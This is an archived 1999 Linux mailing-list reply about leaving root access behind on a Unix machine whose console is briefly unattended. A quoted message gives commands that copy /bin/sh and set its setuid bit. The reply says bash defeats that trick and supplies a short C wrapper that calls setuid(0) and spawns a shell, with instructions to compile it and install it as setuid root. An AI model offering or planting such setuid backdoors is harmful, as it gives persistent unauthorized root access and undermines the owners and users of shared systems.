Re: Hi all,

[Lokesh Setia <lsetia@xxxxxxxxxxxxxxxxxxx>]

On Fri, 18 Jun 1999 sudheer@xxxxxxxxxxxxx wrote:

> > 
> > Rebooting the machine and changing root password is a very long shot. A
> > hacker can root account simply by sitting on console when root has gone
> > for pee , try this, 
> > 
> > root>cp /bin/sh /bin/mysh
> > root>chmod +s /bin/mysh
> > root>chmod +x /bin/mysh 'may not be required.
> > 
> > That's all, now go away and login as any user from any where in the
> > world,
> > 
> > anyuser>whoami
> > anyuser
> > anyuser>/bin/mysh
> > anyuser>whoami
> > root
> 
>     This won't work. the shells are more intelligent nowadays.
>   they behave according to the uid of the process invoking the shell.
>   just like that of a 'passwd' program. eventhough the setuid bit is
>   set for the 'passwd' program, a normal user can't change the passwd of
>   another user even if he knows the other person's passwd.
> 
>   please, correct me if am wrong.
> 
> sudheer


OK, it not might work in bash, but the simple wrapper program would:

main()
{
setuid(0); setgid(0);
execl("/bin/sh", "sh", 0);
}

compile this program and make it setuid (chmod 4755 a.out) and run it
instead of bash.

Lokesh.

> 
> 
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- --------------------------------------------------------------------
For more information on Linux in India visit http://www.linux-india.org/
Linux India is NOT a forum for Microsoft/India/Pakistan/US/UK bashing.
Flame baits will not be tolerated.  If you can appreciate satire read
http://www.templetons.com/brad/emily.html

------------------------------